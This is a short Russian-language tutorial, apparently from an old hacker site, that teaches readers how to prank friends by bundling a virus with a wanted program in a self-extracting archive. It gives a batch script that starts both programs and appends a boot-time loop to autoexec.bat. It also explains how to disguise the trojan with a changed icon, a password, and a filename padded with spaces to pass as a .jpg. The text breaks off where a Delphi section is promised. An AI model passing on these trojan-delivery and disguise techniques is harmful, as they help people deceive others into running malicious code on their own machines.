Предисловие:
ЕСЛИ ВЫ ХОТИТЕ ЧТО-ТО УЗНАТЬ ИЛИ ХОТЯ БЫ ЧТО ТО
ПОНЯТЬ, ВЫ ДОЛЖНЫ ПРОЧИТАТЬ ВСЕ STEP-Ы!!!
Уверен, что многие хотели приколоться над друзьями.
Хотели создать свой вирус или программу, от запуска которой приятеля
(или неприятеля) бросало бы в обморок. Вот о некоторых приемах я тебе
и расскажу. Конечно, без знания какого либо языка программирования
или стандартных функций, можно ограничиться лишь тем, что создать
самораспаковывающийся архив (SFX) до некоторого момента я так и делал:
В архив zip кидаются три файла:
1 - программа, которая нужна другу (это, например,
новая версия WinAmp-а, или новая версия WinRar-а, ну и все такое).
2 - программа, которая не нужна другу (это вирус
или конь, или что-то другое).
3 - стартовый файл (это *.bat, *com, или *.exe
- файл, который при распаковке архива в темп, будет автоматически
запускать по очереди 1, 2 программы),
а содержание его такое:
echo off
start WinAmp.exe
start Virus.exe
- WinAmp - это первый файл,
- Virus.exe - это второй файл.
Для большего эффекта в стартовый файл можно дописать
такое:
@echo off
@echo --- IT'S COOL ---
start WinAmp.exe
start Virus.exe
@echo off >> c:\autoexec.bat
:0 >> c:\autoexec.bat
@start c:\autoexec.bat >>
c:\autoexec.bat
@goto 0 >> c:\autoexec.bat
Это добавит в autoexec.bat цикл, который будет
циклить каждый раз при запуске компа, но, правда, от него можно избавиться,
нажав Ctrl + C, но все равно прикольно, тем более ламер до этого сочетания
додумается не сразу.
Но у этого примера, есть одно "НО", если у твоего
подопечного установлен WinRar то, щелкнув правую кнопку мыша, он может
без труда распотрошить твой SFX. Можно, конечно поменять икону exe
- архиву, т.к. у большинства пользователей в настройках ВиндоВ отключено
"показывать расширения для знакомых типов файлов, а чтобы не распотрошил
он твой проект и не понял твой замысел, можно поставить на архив пароль,
а в стартовом файле прописать его значение, но тогда придется конвертировать
этот стартовый файл (если это *.bat), в *.exe или *.com, или брать
и переименовывать его таким образом:
super_fotka.jpg--------200 пробелов--------.exe
вобщем это все запутано и не понятно. Если у тебя
есть Delphi - вот это по-настоящему круто, я какраз расскажу как делать
что-то подобное на Делфях, и даже круче, приступим.